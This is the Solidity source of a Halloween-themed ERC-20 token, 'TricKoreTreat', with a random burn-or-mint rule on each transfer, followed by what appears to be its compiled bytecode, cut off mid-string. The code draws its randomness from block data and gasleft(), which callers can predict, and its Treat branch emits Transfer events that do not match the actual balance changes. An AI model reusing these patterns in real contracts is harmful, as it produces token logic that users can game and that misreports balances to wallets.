// TricKoreTreat Finance
// --------------------------------
contract TricKoreTreat is Context, Ownable, ERC20Detailed, GasPump
{
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) public whitelistFrom;
mapping(address => bool) public whitelistTo;
// Token Details
string constant tokenName = "TricKoreTreat";
string constant tokenSymbol = "TKT";
uint8 constant tokenDecimals = 18;
uint256 private _totalSupply = 666 * (10 ** 18);
// For %
uint256 public basePercent = 100;
uint256 public basePercentTop = 2;
uint256 public basePercentBot = 3;
uint256 public basePercentEnd = 10;
bytes32 private lastHash;
// Whitelist
event WhitelistFrom(address _addr, bool _whitelisted);
event WhitelistTo(address _addr, bool _whitelisted);
// Events
event Normal(address indexed sender, address indexed recipient, uint256 value);
event Trick(address indexed sender, address indexed recipient, uint256 value);
event Treat(address indexed sender, address indexed recipient, uint256 value);
constructor() public ERC20Detailed(tokenName, tokenSymbol, tokenDecimals)
{
_mint(msg.sender, _totalSupply);
}
function totalSupply() public view returns (uint256)
{
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256)
{
return _balances[account];
}
function transfer(address recipient, uint256 amount) public returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient,uint256 amount) public returns (bool)
{
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount,"ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue)
public
returns (bool)
{
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
returns (bool)
{
_approve(_msgSender(), spender,
_allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function burn(uint256 amount) public
{
_burn(_msgSender(), amount);
}
function burnFrom(address account, uint256 amount) public
{
_burnFrom(account, amount);
}
// --------------------------------
// 6.66% Trick/Treat on each transaction
// --------------------------------
function findSixPercent(uint256 value) public view returns (uint256)
{
uint256 roundValue = value.ceil(basePercent);
uint256 onePercent = roundValue.mul(basePercent).mul(basePercentTop).div(basePercentBot).div(basePercentEnd);
return onePercent;
}
// Deflationary Token Burn 1%
function findOnePercent(uint256 value) public view returns (uint256)
{
uint256 roundValue = value.ceil(basePercent);
uint256 onePercent = roundValue.mul(basePercent).div(10000);
return onePercent;
}
function setWhitelistedTo(address _addr, bool _whitelisted)
external
onlyOwner
{
emit WhitelistTo(_addr, _whitelisted);
whitelistTo[_addr] = _whitelisted;
}
function setWhitelistedFrom(address _addr, bool _whitelisted)
external
onlyOwner
{
emit WhitelistFrom(_addr, _whitelisted);
whitelistFrom[_addr] = _whitelisted;
}
function _isWhitelisted(address _from, address _to)
internal
view
returns (bool)
{
return whitelistFrom[_from] || whitelistTo[_to];
}
// --------------------------------
// 50% Trick/Treat Chance
// --------------------------------
function _trickortreat() internal returns (uint256)
{
bytes32 result = keccak256(
abi.encodePacked(block.number, lastHash, gasleft()));
lastHash = result;
return uint256(result) % 2 == 0 ? 1 : 0;
}
// Triggers on every transfer
function _transfer(address sender, address recipient, uint256 amount) internal requestGas
{
// Gets balance of sender, makes sure value being sent is <= their balance
//require(amount <= _balances[sender]);
//require(amount <= _allowances[sender][_msgSender()]);
// Checks that it's not the burn address
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
// Deployer Transaction (So that transactions made my deployer don't get tricked / treated)
if (_isWhitelisted(sender, recipient))
{
// Subtract from sender balance
_balances[sender] = _balances[sender].sub(amount);
// Add to recipient balance
_balances[recipient] = _balances[recipient].add(amount);
emit Normal(sender, recipient, amount);
emit Transfer(sender, recipient, amount);
}
// Trick Transaction
else if (!_isWhitelisted(sender, recipient) && _trickortreat() == 1)
{
// Subtract from sender balance
_balances[sender] = _balances[sender].sub(amount);
// Get 1% of transacted tokens
uint256 tokensDeflationary = findOnePercent(amount);
// Get 6.66% of transacted tokens
uint256 tokensToBurn = findSixPercent(amount);
// Transfer amount - 6.66% of transacted tokens - 1% of transacted tokens
uint256 tokensToTransfer = amount.sub(tokensToBurn).sub(tokensDeflationary);
// Add to recipient balance
_balances[recipient] = _balances[recipient].add(tokensToTransfer);
// Subtract tricked amount from supply + deflationary burn
_totalSupply = _totalSupply.sub(tokensToBurn).sub(tokensDeflationary);
emit Trick(sender, recipient, amount);
emit Transfer(sender, recipient, tokensToTransfer);
emit Transfer(sender, address(0), tokensDeflationary);
emit Transfer(sender, address(0), tokensToBurn);
}
// Treat transaction
else
{
// Subtract from sender balance
_balances[sender] = _balances[sender].sub(amount);
// Get 1% of transacted tokens
uint256 tokensDeflationary = findOnePercent(amount);
// Get 6.66% of transacted tokens
uint256 tokensToTreat = findSixPercent(amount);
// Mint 6.66% of tokens to lucky user
_mint(sender, tokensToTreat);
// Transfer same amount - 1% deflationary tokens but user now has 6.66% extra tokens in their wallet
uint256 tokensToTransfer = amount.sub(tokensDeflationary);
// Add to recipient balance
_balances[recipient] = _balances[recipient].add(tokensToTransfer);
// Add treat amount to supply
_totalSupply = _totalSupply.add(tokensToTreat);
// Subtract deflationary burn from supply
_totalSupply = _totalSupply.sub(tokensDeflationary);
emit Treat(sender, recipient, amount);
emit Transfer(address(0), recipient, tokensToTreat);
emit Transfer(sender, address(0), tokensDeflationary);
emit Transfer(sender, recipient, amount);
}
}
function _mint(address account, uint256 amount) internal
{
require(amount != 0);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal
{
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal
{
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _burnFrom(address account, uint256 amount) internal
{
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance"));
}
}
|
0x608060405234801561001057600080fd5b50600436106101a95760003560e01c806379cc6790116100f9578063a9059cbb11610097578063dd62ed3e11610071578063dd62ed3e14610844578063df2e7797146108bc578063f2fde38b146108da578063ff12bbf41461091e576101a9565b8063a9059cbb146107a2578063c5ac0ded14610808578063d92dfe9014610826576101a9565b806395d89b41116100d357806395d89b4114610627578063a457c2d7146106aa578063a486309d14610710578063a6a6860614610760576101a9565b806379cc67901461056d5780638da5cb5b146105bb5780638f32d59b14610605576101a9565b8063395093511161016657806343684b211161014057806343684b211461049157806370a08231146104ed578063715018a614610545578063738d6c5c1461054f576101a9565b806339509351146103bb5780633ecd074f1461042157806342966c6814610463576101a9565b806306fdde03146101ae578063095ea7b31461023157806316b627d11461029757806318160ddd146102f357806323b872dd14610311578063313ce56714610397575b600080fd5b6101b661096e565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101f65780820151818401526020810190506101db565b50505050905090810190601f1680156102235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61027d6004803603604081101561024757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a10565b604051808215151515815260200191505060405180910390f35b6102d9600480360360208110156102ad57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a2e565b604051808215151515815260200191505060405180910390f35b6102fb610a4e565b6040518082815260200191505060405180910390f35b61037d6004803603606081101561032757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a58565b604051808215151515815260200191505060405180910390f35b61039f610b31565b604051808260ff1660ff16815260200191505060405180910390f35b610407600480360360408110156103d157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b48565b604051808215151515815260200191505060405180910390f35b61044d6004803603602081101561043757600080fd5b8101908080359060200190929190505050610bfb565b6040518082815260200191505060405180910390f35b61048f6004803603602081101561047957600080fd5b8101908080359060200190929190505050610c74565b005b6104d3600480360360208110156104a757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c88565b604051808215151515815260200191505060405180910390f35b61052f6004803603602081101561050357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ca8565b6040518082815260200191505060405180910390f35b61054d610cf1565b005b610557610e2a565b6040518082815260200191505060405180910390f35b6105b96004803603604081101561058357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e30565b005b6105c3610e3e565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61060d610e67565b604051808215151515815260200191505060405180910390f35b61062f610ec5565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561066f578082015181840152602081019050610654565b50505050905090810190601f16801561069c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6106f6600480360360408110156106c057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f67565b604051808215151515815260200191505060405180910390f35b61075e6004803603604081101561072657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050611034565b005b61078c6004803603602081101561077657600080fd5b8101908080359060200190929190505050611178565b6040518082815260200191505060405180910390f35b6107ee600480360360408110156107b857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506111c9565b604051808215151515815260200191505060405180910390f35b6108106111e7565b6040518082815260200191505060405180910390f35b61082e6111ed565b6040518082815260200191505060405180910390f35b6108a66004803603604081101561085a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111f3565b6040518082815260200191505060405180910390f35b6108c461127a565b6040518082815260200191505060405180910390f35b61091c600480360360208110156108f057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611280565b005b61096c6004803603604081101561093457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050611306565b005b606060018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610a065780601f106109db57610100808354040283529160200191610a06565b820191906000526020600020905b8154815290600101906020018083116109e957829003601f168201915b5050505050905090565b6000610a24610a1d61144a565b8484611452565b6001905092915050565b60086020528060005260406000206000915054906101000a900460ff1681565b6000600954905090565b6000610a65848484611649565b610b2684610a7161144a565b610b21856040518060600160405280602881526020016133fc60289139600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610ad761144a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129f89092919063ffffffff16565b611452565b600190509392505050565b6000600360009054906101000a900460ff16905090565b6000610bf1610b5561144a565b84610bec8560066000610b6661144a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ab890919063ffffffff16565b611452565b6001905092915050565b600080610c13600a5484612b4090919063ffffffff16565b90506000610c68600d54610c5a600c54610c4c600b54610c3e600a5489612b7b90919063ffffffff16565b612b7b90919063ffffffff16565b612c0190919063ffffffff16565b612c0190919063ffffffff16565b90508092505050919050565b610c85610c7f61144a565b82612c4b565b50565b60076020528060005260406000206000915054906101000a900460ff1681565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610cf9610e67565b610d6b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600d5481565b610e3a8282612e05565b5050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ea961144a565b73ffffffffffffffffffffffffffffffffffffffff1614905090565b606060028054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610f5d5780601f10610f3257610100808354040283529160200191610f5d565b820191906000526020600020905b815481529060010190602001808311610f4057829003601f168201915b5050505050905090565b600061102a610f7461144a565b84611025856040518060600160405280602581526020016134b26025913960066000610f9e61144a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129f89092919063ffffffff16565b611452565b6001905092915050565b61103c610e67565b6110ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b7f88cf9b943f64811022537ee9f0141770d85e612eae3a3a39241abe5ca9f113828282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019250505060405180910390a180600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600080611190600a5484612b4090919063ffffffff16565b905060006111bd6127106111af600a5485612b7b90919063ffffffff16565b612c0190919063ffffffff16565b90508092505050919050565b60006111dd6111d661144a565b8484611649565b6001905092915050565b600a5481565b600c5481565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600b5481565b611288610e67565b6112fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b61130381612ed4565b50565b61130e610e67565b611380576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b7fc3d26c130d120a4bb874de56c8b5fb727ad2cfc3551ca49cd42ef248e893b69a8282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019250505060405180910390a180600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114d8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061348e6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561155e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806133b96022913960400191505060405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b60003a14806116575750455a115b1561204d57600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156116e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806134696025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611768576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602381526020018061334e6023913960400191505060405180910390fd5b6117728383613018565b15611970576117c981600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546130c390919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061185e81600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ab890919063ffffffff16565b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f2fb983926eb752d15d651ba5b013e68a418a80c16c889d45bdb99d1b4f045b4d836040518082815260200191505060405180910390a38173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3612001565b61197a8383613018565b15801561198e5750600161198c61310d565b145b15611ccb576119e581600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546130c390919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000611a3382611178565b90506000611a4083610bfb565b90506000611a6983611a5b84876130c390919063ffffffff16565b6130c390919063ffffffff16565b9050611abd81600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ab890919063ffffffff16565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611b2783611b19846009546130c390919063ffffffff16565b6130c390919063ffffffff16565b6009819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167f269d952403220006258f3e1a83b824f4dda43480e34b995c342b56136f6d0c2d866040518082815260200191505060405180910390a38473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3505050612000565b611d1d81600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546130c390919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000611d6b82611178565b90506000611d7883610bfb565b9050611d84858261317a565b6000611d9983856130c390919063ffffffff16565b9050611ded81600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ab890919063ffffffff16565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611e4582600954612ab890919063ffffffff16565b600981905550611e60836009546130c390919063ffffffff16565b6009819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167f8a8016d24c64c84e7cbad0a909babb37f67ae9e82723f4c38a7666786358e7c1866040518082815260200191505060405180910390a38473ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a38473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a35050505b5b60005a90505b6127105a82031015612047576004546040516020018082815260200191505060405160208183030381529060405280519060200120600481905550612007565b506129f3565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156120d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806134696025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612159576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602381526020018061334e6023913960400191505060405180910390fd5b6121638383613018565b15612361576121ba81600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546130c390919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061224f81600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ab890919063ffffffff16565b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f2fb983926eb752d15d651ba5b013e68a418a80c16c889d45bdb99d1b4f045b4d836040518082815260200191505060405180910390a38173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a36129f2565b61236b8383613018565b15801561237f5750600161237d61310d565b145b156126bc576123d681600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546130c390919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600061242482611178565b9050600061243183610bfb565b9050600061245a8361244c84876130c390919063ffffffff16565b6130c390919063ffffffff16565b90506124ae81600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ab890919063ffffffff16565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506125188361250a846009546130c390919063ffffffff16565b6130c390919063ffffffff16565b6009819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167f269d952403220006258f3e1a83b824f4dda43480e34b995c342b56136f6d0c2d866040518082815260200191505060405180910390a38473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050506129f1565b61270e81600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546130c390919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600061275c82611178565b9050600061276983610bfb565b9050612775858261317a565b600061278a83856130c390919063ffffffff16565b90506127de81600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ab890919063ffffffff16565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061283682600954612ab890919063ffffffff16565b600981905550612851836009546130c390919063ffffffff16565b6009819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167f8a8016d24c64c84e7cbad0a909babb37f67ae9e82723f4c38a7666786358e7c1866040518082815260200191505060405180910390a38473ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a38473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a35050505b5b5b505050565b6000838311158290612aa5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612a6a578082015181840152602081019050612a4f565b50505050905090810190601f168015612a975780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015612b36576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600080612b4d8484612ab8565b90506000612b5c8260016130c3565b9050612b71612b6b8286612c01565b85612b7b565b9250505092915050565b600080831415612b8e5760009050612bfb565b6000828402905082848281612b9f57fe5b0414612bf6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806133db6021913960400191505060405180910390fd5b809150505b92915050565b6000612c4383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613287565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612cd1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806134486021913960400191505060405180910390fd5b612d3d8160405180606001604052806022815260200161337160229139600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129f89092919063ffffffff16565b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612d95816009546130c390919063ffffffff16565b600981905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b612e0f8282612c4b565b612ed082612e1b61144a565b612ecb8460405180606001604052806024815260200161342460249139600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000612e8161144a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129f89092919063ffffffff16565b611452565b5050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415612f5a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806133936026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806130bb5750600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b905092915050565b600061310583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506129f8565b905092915050565b60008043600e545a60405160200180848152602001838152602001828152602001935050505060405160208183030381529060405280519060200120905080600e81905550600060028260001c8161316157fe5b061461316e576000613171565b60015b60ff1691505090565b600081141561318857600080fd5b6131da81600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ab890919063ffffffff16565b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b60008083118290613333576040517f08c379a